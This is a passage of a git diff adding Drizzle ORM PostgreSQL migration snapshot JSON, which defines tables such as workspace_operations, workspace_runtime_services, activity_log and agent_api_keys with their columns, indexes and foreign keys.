+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_secret_definitions_company_status_idx": {
+          "name": "user_secret_definitions_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_company_provider_idx": {
+          "name": "user_secret_definitions_company_provider_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_provider_config_idx": {
+          "name": "user_secret_definitions_provider_config_idx",
+          "columns": [
+            {
+              "expression": "provider_config_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "user_secret_definitions_company_key_uq": {
+          "name": "user_secret_definitions_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"user_secret_definitions\".\"deleted_at\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "user_secret_definitions_company_id_companies_id_fk": {
+          "name": "user_secret_definitions_company_id_companies_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_provider_config_id_company_secret_provider_configs_id_fk": {
+          "name": "user_secret_definitions_provider_config_id_company_secret_provider_configs_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "company_secret_provider_configs",
+          "columnsFrom": [
+            "provider_config_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_created_by_agent_id_agents_id_fk": {
+          "name": "user_secret_definitions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "user_secret_definitions_updated_by_agent_id_agents_id_fk": {
+          "name": "user_secret_definitions_updated_by_agent_id_agents_id_fk",
+          "tableFrom": "user_secret_definitions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "updated_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.user_sidebar_preferences": {
+      "name": "user_sidebar_preferences",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_order": {
+          "name": "company_order",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "user_sidebar_preferences_user_uq": {
+          "name": "user_sidebar_preferences_user_uq",
+          "columns": [
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {},
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.workspace_operations": {
+      "name": "workspace_operations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "heartbeat_run_id": {
+          "name": "heartbeat_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "phase": {
+          "name": "phase",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'running'"
+        },
+        "exit_code": {
+          "name": "exit_code",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_store": {
+          "name": "log_store",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_ref": {
+          "name": "log_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_bytes": {
+          "name": "log_bytes",
+          "type": "bigint",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_sha256": {
+          "name": "log_sha256",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "log_compressed": {
+          "name": "log_compressed",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "stdout_excerpt": {
+          "name": "stdout_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stderr_excerpt": {
+          "name": "stderr_excerpt",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "workspace_operations_company_run_started_idx": {
+          "name": "workspace_operations_company_run_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_operations_company_workspace_started_idx": {
+          "name": "workspace_operations_company_workspace_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_operations_company_workspace_issue_started_idx": {
+          "name": "workspace_operations_company_workspace_issue_started_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "started_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "workspace_operations_company_id_companies_id_fk": {
+          "name": "workspace_operations_company_id_companies_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "workspace_operations_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "workspace_operations_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_operations_issue_id_issues_id_fk": {
+          "name": "workspace_operations_issue_id_issues_id_fk",
+          "tableFrom": "workspace_operations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.workspace_runtime_services": {
+      "name": "workspace_runtime_services",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "service_name": {
+          "name": "service_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "lifecycle": {
+          "name": "lifecycle",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reuse_key": {
+          "name": "reuse_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cwd": {
+          "name": "cwd",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "port": {
+          "name": "port",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "url": {
+          "name": "url",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_by_run_id": {
+          "name": "started_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "stopped_at": {
+          "name": "stopped_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stop_policy": {
+          "name": "stop_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unknown'"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "workspace_runtime_services_company_workspace_status_idx": {
+          "name": "workspace_runtime_services_company_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_execution_workspace_status_idx": {
+          "name": "workspace_runtime_services_company_execution_workspace_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_project_status_idx": {
+          "name": "workspace_runtime_services_company_project_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_run_idx": {
+          "name": "workspace_runtime_services_run_idx",
+          "columns": [
+            {
+              "expression": "started_by_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "workspace_runtime_services_company_updated_idx": {
+          "name": "workspace_runtime_services_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "workspace_runtime_services_company_id_companies_id_fk": {
+          "name": "workspace_runtime_services_company_id_companies_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_project_id_projects_id_fk": {
+          "name": "workspace_runtime_services_project_id_projects_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_project_workspace_id_project_workspaces_id_fk": {
+          "name": "workspace_runtime_services_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "workspace_runtime_services_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_issue_id_issues_id_fk": {
+          "name": "workspace_runtime_services_issue_id_issues_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_owner_agent_id_agents_id_fk": {
+          "name": "workspace_runtime_services_owner_agent_id_agents_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "workspace_runtime_services_started_by_run_id_heartbeat_runs_id_fk": {
+          "name": "workspace_runtime_services_started_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "workspace_runtime_services",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "started_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    }
+  },
+  "enums": {},
+  "schemas": {},
+  "sequences": {},
+  "roles": {},
+  "policies": {},
+  "views": {},
+  "_meta": {
+    "columns": {},
+    "schemas": {},
+    "tables": {}
+  }
+}
\ No newline at end of file
diff --git a/packages/db/src/migrations/meta/0221_snapshot.json b/packages/db/src/migrations/meta/0221_snapshot.json
new file mode 100644
index 00000000000..db920043f8b
--- /dev/null
+++ b/packages/db/src/migrations/meta/0221_snapshot.json
@@ -0,0 +1,39714 @@
+{
+  "id": "8f54003b-ed12-4ab6-a3f3-c30b4284bcc7",
+  "prevId": "66cebac9-8e3b-4060-82e4-21b52490e8ab",
+  "version": "7",
+  "dialect": "postgresql",
+  "tables": {
+    "public.activity_log": {
+      "name": "activity_log",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "actor_id": {
+          "name": "actor_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "action": {
+          "name": "action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entity_type": {
+          "name": "entity_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "entity_id": {
+          "name": "entity_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "details": {
+          "name": "details",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "activity_log_company_created_idx": {
+          "name": "activity_log_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_company_agent_created_idx": {
+          "name": "activity_log_company_agent_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_company_responsible_user_created_idx": {
+          "name": "activity_log_company_responsible_user_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_run_id_idx": {
+          "name": "activity_log_run_id_idx",
+          "columns": [
+            {
+              "expression": "run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "activity_log_entity_type_id_idx": {
+          "name": "activity_log_entity_type_id_idx",
+          "columns": [
+            {
+              "expression": "entity_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "entity_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "activity_log_company_id_companies_id_fk": {
+          "name": "activity_log_company_id_companies_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "activity_log_agent_id_agents_id_fk": {
+          "name": "activity_log_agent_id_agents_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "activity_log_run_id_heartbeat_runs_id_fk": {
+          "name": "activity_log_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "activity_log",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.adapter_auth_sessions": {
+      "name": "adapter_auth_sessions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "environment_id": {
+          "name": "environment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "started_by_user_id": {
+          "name": "started_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "provider_lease_id": {
+          "name": "provider_lease_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'starting'"
+        },
+        "expires_at": {
+          "name": "expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "promotion_expires_at": {
+          "name": "promotion_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "finished_at": {
+          "name": "finished_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "failure_reason": {
+          "name": "failure_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "adapter_auth_sessions_company_status_idx": {
+          "name": "adapter_auth_sessions_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_company_adapter_active_uq": {
+          "name": "adapter_auth_sessions_company_adapter_active_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "adapter_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"adapter_auth_sessions\".\"status\" IN ('starting', 'waiting_for_user', 'promoting')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_environment_idx": {
+          "name": "adapter_auth_sessions_environment_idx",
+          "columns": [
+            {
+              "expression": "environment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_expires_idx": {
+          "name": "adapter_auth_sessions_expires_idx",
+          "columns": [
+            {
+              "expression": "expires_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "adapter_auth_sessions_provider_lease_idx": {
+          "name": "adapter_auth_sessions_provider_lease_idx",
+          "columns": [
+            {
+              "expression": "provider_lease_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "adapter_auth_sessions_company_id_companies_id_fk": {
+          "name": "adapter_auth_sessions_company_id_companies_id_fk",
+          "tableFrom": "adapter_auth_sessions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "adapter_auth_sessions_environment_id_environments_id_fk": {
+          "name": "adapter_auth_sessions_environment_id_environments_id_fk",
+          "tableFrom": "adapter_auth_sessions",
+          "tableTo": "environments",
+          "columnsFrom": [
+            "environment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.agent_api_keys": {
+      "name": "agent_api_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "agent_id": {
+          "name": "agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
